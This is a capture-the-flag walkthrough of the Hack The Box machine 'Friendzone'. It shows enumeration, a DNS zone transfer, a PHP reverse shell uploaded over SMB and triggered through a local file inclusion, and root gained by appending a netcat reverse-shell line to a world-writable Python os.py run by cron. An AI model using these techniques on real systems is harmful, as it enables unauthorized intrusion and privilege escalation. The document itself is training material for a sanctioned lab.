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Hackthebox Friendzone Walkthrough

05 Sep 2019

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Explanation

Hackthebox is a website which has bunch of vulnerable machines in its own VPN.
This is a walkthrough of machine “Friendzone” on that website.

Solution

1. Initial Enumeration

TCP Port Scanning:

root@kali:~# nmap -p- 10.10.10.123 -sV -sC
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-16 18:51 EEST
Nmap scan report for 10.10.10.123
Host is up (0.039s latency).
Not shown: 65528 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
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|_  http/1.1
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -59m31s, deviation: 1h43m55s, median: 27s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2019-07-16T18:53:25+03:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-07-16 18:53:26
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.39 seconds

SMB enumeration:

root@kali:~# smbclient -L 10.10.10.123
Enter WORKGROUP\root's password: 

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	Files           Disk      FriendZone Samba Server Files /etc/Files
	general         Disk      FriendZone Samba Server Files
	Development     Disk      FriendZone Samba Server Files
	IPC$            IPC       IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            FRIENDZONE

Gobuster HTTP:

root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,401,403' -u http://10.10.10.123

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.123/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,401,403
[+] Timeout      : 10s
=====================================================
2019/07/16 19:04:14 Starting gobuster
=====================================================
/wordpress (Status: 301)
/server-status (Status: 403)
=====================================================
2019/07/16 19:18:59 Finished
=====================================================

SSL Certification for HTTPS:

root@kali:~# openssl s_client -showcerts -connect 10.10.10.123:443
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red
verify error:num=18:self signed certificate
verify return:1
depth=0 C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red
verify error:num=10:certificate has expired
notAfter=Nov  4 21:02:30 2018 GMT
verify return:1
depth=0 C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red
notAfter=Nov  4 21:02:30 2018 GMT
verify return:1
---
Certificate chain
 0 s:C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red
   i:C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red
-----BEGIN CERTIFICATE-----
MIID+DCCAuCgAwIBAgIJAPRJYD8hBBg0MA0GCSqGSIb3DQEBCwUAMIGQMQswCQYD
VQQGEwJKTzEQMA4GA1UECAwHQ09ERVJFRDEOMAwGA1UEBwwFQU1NQU4xEDAOBgNV
BAoMB0NPREVSRUQxEDAOBgNVBAsMB0NPREVSRUQxFzAVBgNVBAMMDmZyaWVuZHpv
bmUucmVkMSIwIAYJKoZIhvcNAQkBFhNoYWhhQGZyaWVuZHpvbmUucmVkMB4XDTE4
MTAwNTIxMDIzMFoXDTE4MTEwNDIxMDIzMFowgZAxCzAJBgNVBAYTAkpPMRAwDgYD
VQQIDAdDT0RFUkVEMQ4wDAYDVQQHDAVBTU1BTjEQMA4GA1UECgwHQ09ERVJFRDEQ
MA4GA1UECwwHQ09ERVJFRDEXMBUGA1UEAwwOZnJpZW5kem9uZS5yZWQxIjAgBgkq
hkiG9w0BCQEWE2hhaGFAZnJpZW5kem9uZS5yZWQwggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCjImsItIRhGNyMyYuyz4LWbiGSDRnzaXnHVAmZn1UeG1B8
lStNJrR8/ZcASz+jLZ9qHG57k6U9tC53VulFS+8Msb0l38GCdDrUMmM3evwsmwrH
9jaB9G0SMGYiwyG1a5Y0EqhM8uEmR3dXtCPHnhnsXVfo3DbhhZ2SoYnyq/jOfBuH
gBo6kdfXLlf8cjMpOje3dZ8grwWpUDXVUVyucuatyJam5x/w9PstbRelNJm1gVQh
7xqd2at/kW4g5IPZSUAufu4BShCJIupdgIq9Fddf26k81RQ11dgZihSfQa0HTm7Q
ui3/jJDpFUumtCgrzlyaM5ilyZEj3db6WKHHlkCxAgMBAAGjUzBRMB0GA1UdDgQW
BBSZnWAZH4SGp+K9nyjzV00UTI4zdjAfBgNVHSMEGDAWgBSZnWAZH4SGp+K9nyjz
V00UTI4zdjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBV6vjj
TZlc/bC+cZnlyAQaC7MytVpWPruQ+qlvJ0MMsYx/XXXzcmLj47Iv7EfQStf2TmoZ
LxRng6lT3yQ6Mco7LnnQqZDyj4LM0SoWe07kesW1GeP9FPQ8EVqHMdsiuTLZryME
K+/4nUpD5onCleQyjkA+dbBIs+Qj/KDCLRFdkQTX3Nv0PC9j+NYcBfhRMJ6VjPoF
Kwuz/vON5PLdU7AvVC8/F9zCvZHbazskpy/quSJIWTpjzg7BVMAWMmAJ3KEdxCoG
X7p52yPCqfYopYnucJpTq603Qdbgd3bq30gYPwF6nbHuh0mq8DUxD9nPEcL8q6XZ
fv9s+GxKNvsBqDBX
-----END CERTIFICATE-----
---
Server certificate
subject=C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red

issuer=C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red

---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1677 bytes and written 376 bytes
Verification error: certificate has expired
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES256-GCM-SHA384
    Session-ID: A11ADA50EDC062B385AEF8C1FAB755E821E43AE3D5B1A8884F363EFF2B02AA21
    Session-ID-ctx: 
    Master-Key: 263902990F378709BBE71C627BE9431D1EF42E4672E1913ECDA2ECD06FFC6BAF7575B2F5B3D620AB1580F71D24F405B3
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 4b af 91 5b f7 fa 91 ee-a3 76 53 70 03 ba cb 71   K..[.....vSp...q
    0010 - af 26 a8 b1 cb 64 34 62-ed 0d cc 2f 46 b8 75 45   .&...d4b.../F.uE
    0020 - 22 30 8b b4 08 24 99 33-d0 e4 b2 56 95 1c b3 63   "0...$.3...V...c
    0030 - de 0c 5e ef d8 15 d3 0b-45 ee 8c 2d e1 93 8d 2a   ..^.....E..-...*
    0040 - f9 9a f5 5b f0 e0 37 33-73 a7 9b eb 0a 77 32 eb   ...[..73s....w2.
    0050 - 2e d8 9c 47 6b d2 ff d3-c8 9b e4 eb ff 23 86 99   ...Gk........#..
    0060 - 27 67 48 c2 7e 4e 39 79-71 b3 27 98 ef 53 80 e8   'gH.~N9yq.'..S..
    0070 - 2f 4f a8 d5 4e 55 72 31-aa f8 29 de 6c 7e 67 97   /O..NUr1..).l~g.
    0080 - b6 6c 20 51 53 3c 69 1c-a0 4f 2e 23 7e 4c 79 6d   .l QS<i..O.#~Lym
    0090 - e3 e3 3b aa 4d b6 0a 4d-d6 77 f5 04 75 b8 3d f0   ..;.M..M.w..u.=.
    00a0 - f7 15 39 4a 6d f7 2a 60-06 f3 f7 94 02 8f 8d d5   ..9Jm.*`........
    00b0 - f2 1b ac b2 39 33 96 02-70 24 db 06 bc e1 d8 55   ....93..p$.....U

    Start Time: 1563295875
    Timeout   : 7200 (sec)
    Verify return code: 10 (certificate has expired)
    Extended master secret: yes
---
closed

SMB enumeration:

root@kali:~# smbclient -L 10.10.10.123
Enter WORKGROUP\root's password: 

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	Files           Disk      FriendZone Samba Server Files /etc/Files
	general         Disk      FriendZone Samba Server Files
	Development     Disk      FriendZone Samba Server Files
	IPC$            IPC       IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            FRIENDZONE

2. Getting User

At first, try to enumerate SMB because generally it does not take long.
We can find a credential.

root@kali:~# smbclient //10.10.10.123/general
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 16 22:10:51 2019
  ..                                  D        0  Wed Jan 23 23:51:02 2019
  creds.txt                           N       57  Wed Oct 10 02:52:42 2018

		9221460 blocks of size 1024. 6380880 blocks available
root@kali:~# cat creds.txt 
creds for the admin THING:

admin:WORKWORKHhallelujah@#

Then, try to look for the place which we can use this credential.
By executing SSL Certification check, we found a domain name “friendzone.red”
So try to access after adding following line in /etc/hosts.

10.10.10.123 friendzone.red

Gobuster friendzone.red:

root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,401,403' -u http://friendzone.red

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://friendzone.red/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,401,403
[+] Timeout      : 10s
=====================================================
2019/07/31 10:55:19 Starting gobuster
=====================================================
/wordpress (Status: 301)
/server-status (Status: 403)
=====================================================
2019/07/31 11:08:22 Finished
=====================================================

Directory “wordpress” has nothing interesting. However, we can find a new domain “friendzoneportal.red” placeholder

Then add following line and access.

10.10.10.123 friendzoneportal.red

Gobuster friendzoneportal.red:

root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,401,403' -u http://friendzoneportal.red

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://friendzoneportal.red/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,401,403
[+] Timeout      : 10s
=====================================================
2019/07/31 11:24:54 Starting gobuster
=====================================================
/wordpress (Status: 301)
/server-status (Status: 403)
=====================================================
2019/07/31 11:37:56 Finished
=====================================================

Still same result.
Since generally DNS on TCP port 53 is for zone transfer, check what domain Friendzone has.
Subdomain list of “friendzone.red”:

root@kali:~# host -l friendzone.red 10.10.10.123
Using domain server:
Name: 10.10.10.123
Address: 10.10.10.123#53
Aliases: 

friendzone.red has IPv6 address ::1
friendzone.red name server localhost.
friendzone.red has address 127.0.0.1
administrator1.friendzone.red has address 127.0.0.1
hr.friendzone.red has address 127.0.0.1
uploads.friendzone.red has address 127.0.0.1

Subdomain list of “friendzoneportal.red”:

root@kali:~# host -l friendzoneportal.red 10.10.10.123
Using domain server:
Name: 10.10.10.123
Address: 10.10.10.123#53
Aliases: 

friendzoneportal.red has IPv6 address ::1
friendzoneportal.red name server localhost.
friendzoneportal.red has address 127.0.0.1
admin.friendzoneportal.red has address 127.0.0.1
files.friendzoneportal.red has address 127.0.0.1
imports.friendzoneportal.red has address 127.0.0.1
vpn.friendzoneportal.red has address 127.0.0.1

Then, try to look around each domains after adding following line in “/etc/hosts” with both http and https.

10.10.10.123 administrator1.friendzone.red
10.10.10.123 hr.friendzone.red
10.10.10.123 uploads.friendzone.red
10.10.10.123 admin.friendzoneportal.red
10.10.10.123 files.friendzoneportal.red
10.10.10.123 imports.friendzoneportal.red
10.10.10.123 vpn.friendzoneportal.red

Gobuster “https://administrator1.friendzone.red”:

root@kali:~# gobuster dir --url https://administrator1.friendzone.red/ -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://administrator1.friendzone.red/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2019/09/04 21:09:27 Starting gobuster
===============================================================
/images (Status: 301)
/login.php (Status: 200)
/dashboard.php (Status: 200)
/timestamp.php (Status: 200)
/server-status (Status: 403)
===============================================================
2019/09/04 21:35:39 Finished
===============================================================

we can find a login form on “https://administrator1.friendzone.red/login.php”. placeholder

we can also find an interesting php script “timestamp.php”. placeholder

Next, try to access with the previous credential from SMB.
It says go to “dashboard.php”. placeholder

We found a shaddy website with php. placeholder

Then, go to “https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp” as he says. placeholder

We can see a paramter “timestamp”.
Try to replace the parameter with “login”. placeholder

The webapp showed the output of “login.php” (If we put wrong password it says “Wrong!”).
This means, we found possible LFI.

Since we already know that the path for the “File” share is “/etc/Files”. At this time, we need some assuming the path for “Development” share to be “/etc/Development”.
Then, try to upload the reverse shell script and access with the LFI vulnerability.
Upload reverse shell:

smb: \> put php-reverse-shell.php
putting file php-reverse-shell.php as \php-reverse-shell.php (50.1 kb/s) (average 50.1 kb/s)
smb: \> dir
  .                                   D        0  Wed Sep  4 22:08:54 2019
  ..                                  D        0  Wed Jan 23 23:51:02 2019
  php-reverse-shell.php               A     5492  Wed Sep  4 22:08:54 2019

		9221460 blocks of size 1024. 6369608 blocks available

Access to the reverse shell with browser after launching netcat listener:

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell

Now we got a reverse shell.

root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.123] 44662
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 22:13:04 up  1:08,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

By following command, we can achieve a full bash shell.

$ python -c "import pty; pty.spawn('/bin/bash')"
www-data@FriendZone:/$

user.txt is in the directory “”

www-data@FriendZone:/home/friend$ cat user.txt
cat user.txt
a9ed20acecd6c5b6b52f474e15ae9a11

3. Getting Root

In the directory “/var/www”, we can find a password for user “friend”.

www-data@FriendZone:/var/www$ cat mysql_data.conf
cat mysql_data.conf
for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ

Now we can ssh to the box with the credential

root@kali:~# ssh friend@10.10.10.123
The authenticity of host '10.10.10.123 (10.10.10.123)' can't be established.
ECDSA key fingerprint is SHA256:/CZVUU5zAwPEcbKUWZ5tCtCrEemowPRMQo5yRXTWxgw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.123' (ECDSA) to the list of known hosts.
friend@10.10.10.123's password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

You have mail.
Last login: Thu Jan 24 01:20:15 2019 from 10.10.14.3
friend@FriendZone:~$

To enumerate Linux box, we can use a published script pspy.
By running this script, we can find a cron job which runs “/opt/server-admin/reporter.py”.

2019/09/04 22:34:01 CMD: UID=0    PID=3787   | /usr/bin/python /opt/server_admin/reporter.py 
2019/09/04 22:34:01 CMD: UID=0    PID=3786   | /bin/sh -c /opt/server_admin/reporter.py 
2019/09/04 22:34:01 CMD: UID=0    PID=3785   | /usr/sbin/CRON -f 
friend@FriendZone:/opt/server_admin$ cat reporter.py 
#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

Also, By running LinEnum, we can find a world writable script.

[-] Files not owned by user but writable by group:
-rwxrw-rw- 1 nobody nogroup 5492 Sep  4 22:08 /etc/Development/php-reverse-shell.php
-rwxrwxrwx 1 root root 25910 Jan 15  2019 /usr/lib/python2.7/os.py

Meaning we have following information.

  1. “/usr/bin/python2.7/os.py” is writable worldwide
  2. cron is executing “/opt/server-admin/reporter.py” in a couple of minute as root.
  3. “/opt/server-admin/reporter.py” is loading “/usr/bin/python2.7/os.py”.

This indicates that we can hijack the python library.
Then, run following command to add some new lines in os.py

friend@FriendZone:/opt/server_admin$ echo 'import os' >> /usr/lib/python2.7/os.py
friend@FriendZone:/opt/server_admin$ echo 'os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 4444 >/tmp/f")' >> /usr/lib/python2.7/os.py

Then, launch a netcat listener

root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...

Couple of minutes later, we can get a root shell.

connect to [10.10.14.19] from (UNKNOWN) [10.10.10.123] 49954
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

root.txt is in the root directory.

# cat /root/root.txt
b0e6c60b82cf96e9855ac1656a9e90c7

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